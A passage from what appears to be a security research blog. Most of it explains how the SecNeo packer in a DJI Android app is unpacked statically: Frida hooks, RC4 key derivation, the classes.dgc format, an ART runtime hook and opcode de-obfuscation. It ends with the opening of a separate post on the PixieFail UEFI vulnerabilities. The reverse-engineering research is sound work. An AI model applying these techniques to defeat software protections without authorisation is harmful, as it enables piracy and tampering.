<div class="highlight"><pre><span></span><code>Reading dex buffer @ 0x74d1e63140
0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
00000000 64 65 78 0a 30 33 35 00 4a 8b b5 fd 1b 58 54 1f dex.035.J....XT.
Reading dex buffer @ 0x74d268c140
0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
00000000 64 65 78 0a 30 33 35 00 6f 02 2a 0b 48 26 a5 e0 dex.035.o.*.H&..
Reading dex buffer @ 0x74d3005140
0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
00000000 64 65 78 0a 30 33 35 00 8a b4 08 1c 90 61 5a 34 dex.035......aZ4
Reading dex buffer @ 0x74d3643140
0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
00000000 64 65 78 0a 30 33 35 00 cb b9 8e 72 35 3a d8 bc dex.035....r5:..
Reading dex buffer @ 0x74d4055140
0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
00000000 64 65 78 0a 30 33 35 00 c2 8b a3 7b 64 3b c6 54 dex.035....{d;.T
Reading dex buffer @ 0x74d4a5f140
0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
00000000 64 65 78 0a 30 33 35 00 dd 47 c2 4e a1 39 cc 79 dex.035..G.N.9.y
Reading dex buffer @ 0x74d552f140
0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
00000000 64 65 78 0a 30 33 35 00 58 17 ae a9 56 21 f1 1f dex.035.X...V!..
Reading dex buffer @ 0x74d5a77140
0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
00000000 64 65 78 0a 30 33 35 00 84 62 14 0d ac 5f b7 f8 dex.035..b..._..
</code></pre></div>
<p>So, here we can see that <strong>8</strong> DEX files (with the <code>dex.035</code> magic) are
unpacked. It is possible to modify the previous hook to be able to dump the
various DEX files as they are unpacked. Another solution is to understand where
the packed DEX files are stored in the APK and how we can unpack them
statically.</p>
<h3>Static unpacking of DEX files</h3>
<p>The advantage of the dynamic extraction method lies in its rapid
implementation. However, the latter requires the application to be run and an
environment set up to allow instrumentation of the process. Static extraction,
on the other hand, enables cold unpacking of DEX files directly from the APK.
The drawback of the static approach is that it requires a slightly deeper
understanding of how the packer works.</p>
<h4>DEX files where are you?</h4>
<p>Some versions of the <em>SecNeo</em> packer store the bytecode in the <code>classes0.jar</code>
file located in the APK assets. Unfortunately, this is not the case here as
the file does not exist.</p>
<p>However, if we take a closer look at the <code>classes.dex</code> file located at the root
of the APK and supposed to contain only the packer bootstrap code, we can see
that something is wrong with its size:</p>
<div class="highlight"><pre><span></span><code>du -h classes.dex
63M classes.dex
</code></pre></div>
<p>63MB is a very large size for the code we observed in the first analysis.
Usually, the <a href="https://developer.android.com/build/multidex">multidex</a> mechanism
will split the bytecode file into several <code>.dex</code> files well before reaching
this size. File entropy analysis also gives us some interesting clues:</p>
<p><center>
<img src="resources/2024-02-06_dji-the-art-of-obfuscation/classes-dex-entropy.png" alt="Entropy of classes.dex" style="border:none;" />
</center></p>
<p>We can see <strong>8</strong> peaks tending towards an entropy of 8, which may
suggest that these chunks are encrypted. The previous <em>Frida</em> hook revealed
that 8 DEX files were unpacked, which is probably no coincidence. The 8 chunks
shown in the graph correspond to 128KB sections, so we can make the connection
with the <code>decrypt_jar_128K</code> symbol of the function. A differential analysis
with the dynamically obtained files finally confirms that the <code>classes.dex</code>
file contains all 8 DEX files after the <em>SecNeo</em> bootstrap code. The first 128K
chunk of each DEX file is encrypted to probably conceal certain information that
could be used to detect the presence of the hidden files like the
<a href="https://source.android.com/docs/core/runtime/dex-format#header-item">magic number</a>
in the header.</p>
<h4>Encryption analysis</h4>
<p>To understand how the first 128KB of each DEX is decrypted, we need to analyze
how the <code>decrypt_jar_128K</code> function works.</p>
<p>One of the function's basic blocks contains the encryption logic:</p>
<div class="highlight"><pre><span></span><code><span class="n">loc_8DC78</span><span class="w"></span>
<span class="k">ADD</span><span class="w"> </span><span class="n">W3</span><span class="p">,</span><span class="w"> </span><span class="n">W3</span><span class="p">,</span><span class="w"> </span><span class="n">#1</span><span class="w"> </span><span class="p">;</span><span class="w"> </span><span class="n">i</span><span class="o">++</span><span class="w"></span>
<span class="n">LDRB</span><span class="w"> </span><span class="n">W6</span><span class="p">,</span><span class="w"> </span><span class="o">[</span><span class="n">X5</span><span class="o">]</span><span class="p">,</span><span class="n">#1</span><span class="w"> </span><span class="p">;</span><span class="w"> </span><span class="n">x</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">buffer</span><span class="o">[</span><span class="n">cursor++</span><span class="o">]</span><span class="w"></span>
<span class="ow">AND</span><span class="w"> </span><span class="n">W7</span><span class="p">,</span><span class="w"> </span><span class="n">W3</span><span class="p">,</span><span class="w"> </span><span class="n">#0xFF</span><span class="w"> </span><span class="p">;</span><span class="w"> </span><span class="n">i</span><span class="w"> </span><span class="o">%=</span><span class="w"> </span><span class="mi">256</span><span class="w"></span>
<span class="n">SUB</span><span class="w"> </span><span class="n">W0</span><span class="p">,</span><span class="w"> </span><span class="n">W5</span><span class="p">,</span><span class="w"> </span><span class="n">W1</span><span class="w"></span>
<span class="n">MOV</span><span class="w"> </span><span class="n">X3</span><span class="p">,</span><span class="w"> </span><span class="n">X7</span><span class="w"></span>
<span class="n">CMP</span><span class="w"> </span><span class="n">X2</span><span class="p">,</span><span class="w"> </span><span class="n">X0</span><span class="w"></span>
<span class="n">LDRB</span><span class="w"> </span><span class="n">W0</span><span class="p">,</span><span class="w"> </span><span class="o">[</span><span class="n">X8,X7</span><span class="o">]</span><span class="w"> </span><span class="p">;</span><span class="w"> </span><span class="o">+--</span><span class="w"></span>
<span class="k">ADD</span><span class="w"> </span><span class="n">W4</span><span class="p">,</span><span class="w"> </span><span class="n">W4</span><span class="p">,</span><span class="w"> </span><span class="n">W0</span><span class="w"> </span><span class="p">;</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">j</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="n">j</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="n">S</span><span class="o">[</span><span class="n">i</span><span class="o">]</span><span class="p">)</span><span class="w"> </span><span class="o">%</span><span class="w"> </span><span class="mi">256</span><span class="w"></span>
<span class="ow">AND</span><span class="w"> </span><span class="n">W9</span><span class="p">,</span><span class="w"> </span><span class="n">W4</span><span class="p">,</span><span class="w"> </span><span class="n">#0xFF</span><span class="w"> </span><span class="p">;</span><span class="w"> </span><span class="o">+--</span><span class="w"></span>
<span class="n">MOV</span><span class="w"> </span><span class="n">X4</span><span class="p">,</span><span class="w"> </span><span class="n">X9</span><span class="w"></span>
<span class="n">LDRB</span><span class="w"> </span><span class="n">W10</span><span class="p">,</span><span class="w"> </span><span class="o">[</span><span class="n">X8,X9</span><span class="o">]</span><span class="w"> </span><span class="p">;</span><span class="w"> </span><span class="o">+--</span><span class="w"></span>
<span class="n">STRB</span><span class="w"> </span><span class="n">W10</span><span class="p">,</span><span class="w"> </span><span class="o">[</span><span class="n">X8,X7</span><span class="o">]</span><span class="w"> </span><span class="p">;</span><span class="w"> </span><span class="o">|</span><span class="w"></span>
<span class="n">STRB</span><span class="w"> </span><span class="n">W0</span><span class="p">,</span><span class="w"> </span><span class="o">[</span><span class="n">X8,X9</span><span class="o">]</span><span class="w"> </span><span class="p">;</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">S</span><span class="o">[</span><span class="n">i</span><span class="o">]</span><span class="p">,</span><span class="w"> </span><span class="n">S</span><span class="o">[</span><span class="n">j</span><span class="o">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">S</span><span class="o">[</span><span class="n">j</span><span class="o">]</span><span class="p">,</span><span class="w"> </span><span class="n">S</span><span class="o">[</span><span class="n">i</span><span class="o">]</span><span class="w"></span>
<span class="n">LDRB</span><span class="w"> </span><span class="n">W7</span><span class="p">,</span><span class="w"> </span><span class="o">[</span><span class="n">X8,X7</span><span class="o">]</span><span class="w"> </span><span class="p">;</span><span class="w"> </span><span class="o">+--</span><span class="w"></span>
<span class="k">ADD</span><span class="w"> </span><span class="n">W0</span><span class="p">,</span><span class="w"> </span><span class="n">W7</span><span class="p">,</span><span class="w"> </span><span class="n">W0</span><span class="w"> </span><span class="p">;</span><span class="w"> </span><span class="o">+--</span><span class="w"></span>
<span class="n">UXTB</span><span class="w"> </span><span class="n">W0</span><span class="p">,</span><span class="w"> </span><span class="n">W0</span><span class="w"> </span><span class="p">;</span><span class="w"> </span><span class="o">|</span><span class="w"></span>
<span class="n">LDRB</span><span class="w"> </span><span class="n">W0</span><span class="p">,</span><span class="w"> </span><span class="o">[</span><span class="n">X8,X0</span><span class="o">]</span><span class="w"> </span><span class="p">;</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">x</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">S</span><span class="o">[</span><span class="n">(S[i</span><span class="o">]</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="n">S</span><span class="o">[</span><span class="n">j</span><span class="o">]</span><span class="p">)</span><span class="w"> </span><span class="o">%</span><span class="w"> </span><span class="mi">256</span><span class="err">]</span><span class="w"> </span><span class="o">^</span><span class="w"> </span><span class="n">x</span><span class="w"></span>
<span class="n">EOR</span><span class="w"> </span><span class="n">W0</span><span class="p">,</span><span class="w"> </span><span class="n">W0</span><span class="p">,</span><span class="w"> </span><span class="n">W6</span><span class="w"> </span><span class="p">;</span><span class="w"> </span><span class="o">+--</span><span class="w"></span>
<span class="n">STURB</span><span class="w"> </span><span class="n">W0</span><span class="p">,</span><span class="w"> </span><span class="o">[</span><span class="n">X5,#-1</span><span class="o">]</span><span class="w"> </span><span class="p">;</span><span class="w"> </span><span class="n">buffer</span><span class="o">[</span><span class="n">cursor-1</span><span class="o">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">x</span><span class="w"></span>
<span class="n">B</span><span class="p">.</span><span class="n">HI</span><span class="w"> </span><span class="n">loc_8DC78</span><span class="w"></span>
</code></pre></div>
<p>This is <a href="https://en.wikipedia.org/wiki/RC4">RC4</a>'s pseudo-random generation
algorithm (<a href="https://en.wikipedia.org/wiki/RC4#Pseudo-random_generation_algorithm_(PRGA)">PRGA</a>):</p>
<div class="highlight"><pre><span></span><code>i := 0
j := 0
while GeneratingOutput:
i := (i + 1) mod 256
j := (j + S[i]) mod 256
swap values of S[i] and S[j]
t := (S[i] + S[j]) mod 256
K := S[t]
output K
endwhile
</code></pre></div>
<p>Analysis of the decrypt_jar_128K CFG gives us information about where different
parts of the RC4 algorithm are located:</p>
<p><center>
<img src="resources/2024-02-06_dji-the-art-of-obfuscation/decrypt-jar-128K-overview.png" alt="decrypt_jar_128K CFG" style="border:none;" width="70%" />
</center></p>
<h4>Encryption key generation</h4>
<p>The key's cross-references lead to a generation function based on a simple XOR
between a 16-byte hardcoded constant and the 16 first bytes of the string
<code>com.dji.industry.pilot</code>:</p>
<p><center>
<img src="resources/2024-02-06_dji-the-art-of-obfuscation/dex-rc4-keygen-cfg.png" alt="Generate RC4 key DEX" style="border:none;" />
</center></p>
<p>We are now able to statically unpack DEX files.</p>
<blockquote>
<p>The DEX encryption is currently implemented in the <a href="https://github.com/quarkslab/dxfx/blob/c5d65eade92ce818e07af6edacb83a6f3f8d7669/dxfx/dex.py#L247">DexPool</a> class of <em>DxFx</em></p>
</blockquote>
<p>However, disassembly of the unpacked DEX files reveals a problem. The code for
a large number of methods seems to have been stolen, overwritten, and replaced
mainly by <code>nop</code> instructions:</p>
<p><center>
<img src="resources/2024-02-06_dji-the-art-of-obfuscation/stolen-bytecode.png" alt="Stolen bytecode" style="border:none" width="60%" />
</center></p>
<p>We can therefore assume that the packer has a second bytecode protection
mechanism.</p>
<h2>Bytecode where are you? Again...</h2>
<h3>Method debug info</h3>
<p>The various methods whose code is stolen all seem to contain a
<a href="https://source.android.com/docs/core/runtime/dex-format#code-item">debug info offset</a>
(<code>debug_info_off</code>) which also appears in the body of the method:</p>
<p><center>
<img src="resources/2024-02-06_dji-the-art-of-obfuscation/debug-info-off.png" alt="Method degug_info_off" width="80%" />
</center></p>
<p>It seems there is something fishy with the <code>debug_info_off</code>, this field could
play a role in the method code unpacking mechanism, perhaps as an identifier.
Moreover, a <code>classes.dgc</code> file located in the APK assets contains a large
number of debug info offsets used in stolen methods... The <code>classes.dgc</code> file
therefore seems a potentially interesting candidate for further analysis.</p>
<h3>The classes.dgc file</h3>
<p>An entropy analysis reveals that the beginning of the file (oddly enough, a
128KB chunk) probably contains encrypted data:</p>
<p><center>
<img src="resources/2024-02-06_dji-the-art-of-obfuscation/dgc-entropy.png" alt="Entropy of classes.dgc" style="border:none;" />
</center></p>
<p>This is a good lead to follow in the <code>libDexHelper.so</code> binary.</p>
<h4>Encryption analysis</h4>
<p>Likely, a mechanism similar to the 128KB chunk encryption of DEX
files is used for the <code>classes.dgc</code> file. Analysis of <code>libDexHelper.so</code> reveals
a function whose scheme also corresponds to an RC4 encryption algorithm:</p>
<p><center>
<img src="resources/2024-02-06_dji-the-art-of-obfuscation/dgc-rc4-decrypt.png" alt="DGC RC4 decryption" style="border:none;" width="70%" />
</center></p>
<p>We can confirm that is the <code>classes.dgc</code> decryption function by using a simple
Frida hook:</p>
<div class="highlight"><pre><span></span><code><span class="s1">'use strict'</span><span class="p">;</span><span class="w"></span>
<span class="kd">const</span><span class="w"> </span><span class="nx">dlopen_ext</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">Module</span><span class="p">.</span><span class="nx">getExportByName</span><span class="p">(</span><span class="kc">null</span><span class="p">,</span><span class="w"> </span><span class="s2">"__loader_android_dlopen_ext"</span><span class="p">);</span><span class="w"></span>
<span class="kd">const</span><span class="w"> </span><span class="nx">nullptr</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">0</span><span class="p">;</span><span class="w"></span>
<span class="kd">function</span><span class="w"> </span><span class="nx">main</span><span class="p">()</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">rc4_fct_addr</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">Module</span><span class="p">.</span><span class="nx">getExportByName</span><span class="p">(</span><span class="w"></span>
<span class="w"> </span><span class="s1">'libDexHelper.so'</span><span class="p">,</span><span class="w"></span>
<span class="w"> </span><span class="s1">'p416302DA23BEF5D5A81473ACFAC4DA25'</span><span class="w"></span>
<span class="w"> </span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="nx">Interceptor</span><span class="p">.</span><span class="nx">attach</span><span class="p">(</span><span class="nx">rc4_fct_addr</span><span class="p">,</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="nx">onEnter</span><span class="o">:</span><span class="w"> </span><span class="kd">function</span><span class="p">(</span><span class="nx">args</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">args</span><span class="p">[</span><span class="mf">0</span><span class="p">].</span><span class="nx">readByteArray</span><span class="p">(</span><span class="mf">32</span><span class="p">))</span><span class="w"></span>
<span class="w"> </span><span class="p">}</span><span class="w"></span>
<span class="w"> </span><span class="p">});</span><span class="w"></span>
<span class="p">}</span><span class="w"></span>
<span class="nx">Interceptor</span><span class="p">.</span><span class="nx">attach</span><span class="p">(</span><span class="nx">dlopen_ext</span><span class="p">,</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="nx">onEnter</span><span class="o">:</span><span class="w"> </span><span class="kd">function</span><span class="p">(</span><span class="nx">args</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="k">this</span><span class="p">.</span><span class="nx">name</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">args</span><span class="p">[</span><span class="mf">0</span><span class="p">].</span><span class="nx">readUtf8String</span><span class="p">();</span><span class="w"></span>
<span class="w"> </span><span class="p">},</span><span class="w"></span>
<span class="w"> </span><span class="nx">onLeave</span><span class="o">:</span><span class="w"> </span><span class="kd">function</span><span class="p">(</span><span class="nx">retval</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="nx">retval</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="nx">nullptr</span><span class="w"> </span><span class="o">&&</span><span class="w"> </span><span class="k">this</span><span class="p">.</span><span class="nx">name</span><span class="p">.</span><span class="nx">includes</span><span class="p">(</span><span class="s1">'libDexHelper.so'</span><span class="p">))</span><span class="w"></span>
<span class="w"> </span><span class="nx">main</span><span class="p">();</span><span class="w"></span>
<span class="w"> </span><span class="p">}</span><span class="w"></span>
<span class="p">});</span><span class="w"></span>
</code></pre></div>
<p>The result is:</p>
<div class="highlight"><pre><span></span><code> 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
00000000 ef bd de 50 8b bb 81 c7 80 63 35 ca 95 6e 1d 1d ...P.....c5..n..
00000010 36 d5 ef 02 df 2a 50 2b e8 88 03 c3 9b 45 da 5f 6....*P+.....E._
</code></pre></div>
<p>It matches the first bytes of the <code>classes.dgc</code> file:</p>
<p><center>
<img src="resources/2024-02-06_dji-the-art-of-obfuscation/first-bytes-of-classes-dgc.png" alt="First bytes of the classes.dgc file" width="60%" />
</center></p>
<p>As with the <code>decrypt_jar_128K</code> function, the basic block initializing <code>S</code> to
identity permutation reveals the presence of a cross-reference to the key.</p>
<h4>Encryption key generation</h4>
<p>From the cross-references, it is possible to locate the key generation function.
The CFG of the function looks a bit like the one used to generate the DEX
decryption key. However, a slightly more complex mechanism is used to generate
the key:</p>
<p><center>
<img src="resources/2024-02-06_dji-the-art-of-obfuscation/dgc-rc4-keygen-cfg.png" alt="DGC RC4 key generation" style="border:none;" width="90%" />
</center></p>
<p>First, the <a href="https://en.wikipedia.org/wiki/MD5">MD5</a> hash of a 4096-byte binary
blob in memory is computed. MD5 is identified by looking at a sub-function called
in the previous CFG. This sub-function corresponds to the
<a href="https://en.wikipedia.org/wiki/MD5#Pseudocode">MD5 algorithm</a> for calculating a
block (512 bits). The algorithm is flattened and contains hardcoded <code>K</code>
constants (<code>0xe8c7b756</code>, <code>0xd76aa478</code>, ...).</p>
<p>The binary blob is loaded directly from <code>libDexHelper.so</code> and can be found even
in the packed version of the library. This chunk appears to be preceded by a
kind of header containing the name <code>mthfilekey</code>:</p>
<p><center>
<img src="resources/2024-02-06_dji-the-art-of-obfuscation/mthfilekey-header.png" alt="mthfilekey entry in libDexHelper.so" style="border:none;" width="60%" />
</center></p>
<p>Once the MD5 has been calculated, a deterministic sequence is generated by
calling another sub-function. Analysis of the function reveals that it is a
<em>Fibonacci</em> sequence:</p>
<p><center>
<img src="resources/2024-02-06_dji-the-art-of-obfuscation/generate-sequence-cfg.png" alt="Fibonacci generator function CFG" style="border:none;" width="80%" />
</center></p>
<p>Next, the 16 bytes of the MD5 hash are <em>XORed</em> with 16 bytes retrieved directly
from the 4096-byte chunk (<code>mthfilekey</code>) following a deterministic walk based
on the <em>Fibonacci</em> sequence previously generated.</p>
<p>We are now able to statically generate the RC4 key that decrypts the first
128KB of the <code>classes.dgc</code> file.</p>
<blockquote>
<ul>
<li>The <code>classes.dgc</code> decryption is implemented in the <a href="https://github.com/quarkslab/dxfx/blob/c5d65eade92ce818e07af6edacb83a6f3f8d7669/dxfx/dgc.py#L42">CodePool._decrypt_chunk</a> method of <em>DxFx</em>.</li>
<li>The RC4 key generation is done by the <a href="https://github.com/quarkslab/dxfx/blob/c5d65eade92ce818e07af6edacb83a6f3f8d7669/dxfx/bin.py#L57">BinHelper.code_pool_key</a> method of <em>DxFx</em>.</li>
</ul>
</blockquote>
<h4>classes.dgc file format</h4>
<p>Once decrypted, looking at <code>classes.dgc</code> reveals that the beginning of the
file contains a table indexing all the application methods
(<a href="https://source.android.com/docs/core/runtime/dex-format#code-item">code_item</a>)
whose code has been stolen:</p>
<p><center>
<img src="resources/2024-02-06_dji-the-art-of-obfuscation/dgc-index-layout.png" alt="classes.dgc index layout" width="70%" />
</center></p>
<p>Each table item points to the code_item of a method:</p>
<p><center>
<img src="resources/2024-02-06_dji-the-art-of-obfuscation/dgc-code-item.png" alt="classes.dgc index layout" width="70%" />
</center></p>
<p>However, as it stands, the Dalvik opcodes present in the method bodies seem
inconsistent and therefore probably obfuscated... At this stage, we have all
the elements needed to link the stolen bytecode (even if obfuscated for the
moment, we will address this later) to the application's various damaged
methods. First of all, it's interesting to understand when the packer repairs
the methods so that the application can run normally. This mechanism is
particularly interesting because it uses an ART's functionality.</p>
<h2>ART hijacking</h2>
<h3>ART in a nutshell</h3>
<p>The <a href="https://source.android.com/docs/core/runtime">Android Runtime (ART)</a> is
Dalvik's successor runtime in charge of optimizing and executing code for
Android applications and other Android system components. The <a href="https://proandroiddev.com/android-runtime-how-dalvik-and-art-work-6e57cf1c50e5">Android Runtime — How Dalvik and ART work?</a>
article by <em>Paulina Sadowska</em> is a great introduction to ART.</p>
<h3>Class loading mechanism</h3>
<p>When a method is to be executed, the runtime must first check that the class to
which the method belongs is loaded. If this is not the case, the runtime will
load and link the class. The linking process involves several phases as
described in the <a href="https://docs.oracle.com/javase/specs/jls/se17/html/jls-12.html#jls-12.3">Java Language Specification</a>:</p>
<ol>
<li>Class verification;</li>
<li>Class preparation;</li>
<li>Resolution.</li>
</ol>
<p>The stage we're interested in here is the class verification because it's
precisely this stage that is instrumented by the packer. Among other things,
this step checks the bytecode of the class's various methods for
inconsistencies. It is implemented in the <code>ClassLinker::VerifyClass</code> method of
ART.</p>
<p>One of the interesting features of <code>VerifyClass</code> is that it calls the
<code>UpdateClassAfterVerification</code> method:</p>
<div class="highlight"><pre><span></span><code><span class="k">static</span><span class="w"> </span><span class="kt">void</span><span class="w"> </span><span class="nf">UpdateClassAfterVerification</span><span class="p">(</span><span class="n">Handle</span><span class="o"><</span><span class="n">mirror</span><span class="o">::</span><span class="n">Class</span><span class="o">></span><span class="w"> </span><span class="n">klass</span><span class="p">,</span><span class="w"></span>
<span class="w"> </span><span class="n">PointerSize</span><span class="w"> </span><span class="n">pointer_size</span><span class="p">,</span><span class="w"></span>
<span class="w"> </span><span class="n">verifier</span><span class="o">::</span><span class="n">FailureKind</span><span class="w"> </span><span class="n">failure_kind</span><span class="p">)</span><span class="w"></span>
<span class="w"> </span><span class="n">REQUIRES_SHARED</span><span class="p">(</span><span class="n">Locks</span><span class="o">::</span><span class="n">mutator_lock_</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="c1">// [...]</span>
<span class="w"> </span><span class="c1">// Now that the class has passed verification, try to set nterp entrypoints</span>
<span class="w"> </span><span class="c1">// to methods that currently use the switch interpreter.</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">interpreter</span><span class="o">::</span><span class="n">CanRuntimeUseNterp</span><span class="p">())</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="p">(</span><span class="n">ArtMethod</span><span class="o">&</span><span class="w"> </span><span class="n">m</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="n">klass</span><span class="o">-></span><span class="n">GetMethods</span><span class="p">(</span><span class="n">pointer_size</span><span class="p">))</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">class_linker</span><span class="o">-></span><span class="n">IsQuickToInterpreterBridge</span><span class="p">(</span><span class="n">m</span><span class="p">.</span><span class="n">GetEntryPointFromQuickCompiledCode</span><span class="p">()))</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="n">runtime</span><span class="o">-></span><span class="n">GetInstrumentation</span><span class="p">()</span><span class="o">-></span><span class="n">InitializeMethodsCode</span><span class="p">(</span><span class="o">&</span><span class="n">m</span><span class="p">,</span><span class="w"> </span><span class="cm">/*aot_code=*/</span><span class="k">nullptr</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="p">}</span><span class="w"></span>
<span class="w"> </span><span class="p">}</span><span class="w"></span>
<span class="w"> </span><span class="p">}</span><span class="w"></span>
<span class="p">}</span><span class="w"></span>
</code></pre></div>
<p><code>UpdateClassAfterVerification</code> updates the entry points of the various methods
of the verified class. So, it has to iterate over all
the methods of the class and call the <code>Instrumentation::InitializeMethodsCode</code>
method:</p>
<p><center>
<img src="resources/2024-02-06_dji-the-art-of-obfuscation/linker-cg.png" alt="InitializeMethodsCode callgraph" width="70%" />
</center></p>
<h3>Anatomy of the hook</h3>
<p>The <code>Instrumentation::InitializeMethodsCode</code> method provides a crossing point
on every method in the application that can be executed. It is precisely this
crossing point that is exploited by the packer to repair methods whose code has
been stolen. To do this, <code>libDexHelper.so</code> places a hook on
<code>InitializeMethodsCode</code>:</p>
<p><center>
<img src="resources/2024-02-06_dji-the-art-of-obfuscation/linker-callgraph-hook.png" alt="Hook call graph" width="90%" />
</center></p>
<p>The prolog of the <code>Instrumentation::InitalizedMethodsCode</code> method is patched to
redirect the execution flow to a function in <code>libDexHelper.so</code> that we call
<code>PatchMethodCode</code> :</p>
<p><center>
<img src="resources/2024-02-06_dji-the-art-of-obfuscation/patch-method-code-cfg.png" alt="PatchMethodCode CFG" style="border:none;" />
</center></p>
<p><a href="https://youtu.be/S3wsCRJVUyg?si=CM9ikhkSJ04S-PLb">A few moments later...</a> we
can deduce the hook's anatomy and the different operations performed by
<code>PatchMethodCode</code> :</p>
<p><center>
<img src="resources/2024-02-06_dji-the-art-of-obfuscation/hook-anatomy-cg.png" alt="Hook anatomy with callgraph" />
</center></p>
<p>Once the <code>PatchMethodCode</code> function is called, it first loads the
obfuscated bytecode of the current method using the <code>debug_info_off</code> as an
identifier with the method index table of the <code>classes.dgc</code> file. The code is
passed to the function we call here <code>DecryptMethodCode</code> to be
de-obfuscated. Then <code>code_item</code> (<a href="https://cs.android.com/android/platform/superproject/main/+/main:art/libdexfile/dex/dex_file_structs.h;l=99?q=dex::CodeItem&sq=">dex::CodeItem</a>)
of the method (<a href="https://cs.android.com/android/platform/superproject/+/master:art/runtime/art_method.h;l=87?q=art::ArtMethod">art::Method</a>)
is patched to point to the buffer containing the de-obfuscated bytecode.</p>
<p>This mechanism ensures that the damaged code in each method is repaired before
the method is executed. At this point, the last thing we need to understand is
how bytecode is obfuscated in <code>classes.dgc</code>. To do this, we need to analyze the
<code>DecryptMethodCode</code> function.</p>
<h2>Bytecode de-obfuscation</h2>
<p>The function is rather small, and an analysis of a few basic blocks gives a
good idea of how it works:</p>
<p><center>
<img src="resources/2024-02-06_dji-the-art-of-obfuscation/decrypt-method-code-cfg.png" alt="DecryptMethodCode CFG" style="border:none;" width="80%" />
</center></p>
<p>The function iterates over each opcode. The obfuscated opcodes are <em>XORed</em> with
the low byte of the method's <code>info_debug_off</code> offset. The result of this
operation is then used as the index of a substitution table. The obfuscated
opcode is replaced by the one obtained from the substitution table:</p>
<div class="highlight"><pre><span></span><code>opcode = S[obfuscated_opcode ^ info_debug_off & 0xff]
</code></pre></div>
<p>Since the substitution table is theoretically a maximum of 256 bytes, one might
assume that one of the RC4 KSA previously reversed is reused to generate it,
but... no.</p>
<p>The <code>S</code> substitution table is simply stored in the <code>libDexHelper.so</code> library
and can be directly extracted from the packed binary. We have everything we
need to fix all the damaged methods and the unpacked DEX can be decompiled
properly:</p>
<p><center>
<img src="resources/2024-02-06_dji-the-art-of-obfuscation/fixed-method.png" alt="Fixed method" />
</center></p>
<p>We are now able to perform static unpacking of the application.</p>
<blockquote>
<ul>
<li>The method fixing step is implemented in the <a href="https://github.com/quarkslab/dxfx/blob/c5d65eade92ce818e07af6edacb83a6f3f8d7669/dxfx/dex.py#L181">Dex</a> class of <em>DxFx</em>.</li>
<li>The bytecode de-obfuscation is located in the <a href="https://github.com/quarkslab/dxfx/blob/c5d65eade92ce818e07af6edacb83a6f3f8d7669/dxfx/dex.py#L27">MethodCipher</a> class of <em>DxFx</em>.</li>
</ul>
</blockquote>
<h2>Conclusion</h2>
<p>Through the unfolding of the analysis methodology used to create a static
unpacker, we can see the different encryption/obfuscation algorithms used by
the packer at different stages. In addition, we were able to highlight an
interesting protection mechanism involving bytecode injection and
exploiting Android runtime hijacking.</p>PixieFail: Nine vulnerabilities in Tianocore's EDK II IPv6 network stack.2024-01-16T00:00:00+01:002024-01-16T00:00:00+01:00Francisco Falcontag:blog.quarkslab.com,2024-01-16:/pixiefail-nine-vulnerabilities-in-tianocores-edk-ii-ipv6-network-stack.html<p>This blog post provides details about nine vulnerabilities affecting the IPv6 network protocol stack of EDK II, TianoCore's open source reference implementation of UEFI.</p><h2>Introduction</h2>
<p>In this blog post we describe <a href="https://www.youtube.com/watch?v=PVyS9JwtFoQ">PixieFAIL</a>, nine vulnerabilities that affect EDK II, the de-facto open source reference implementation of the UEFI specification and possibly all implementations derived from it. The vulnerabilities are present in the network stack of EDK II and can be exploited during the network boot process.</p>
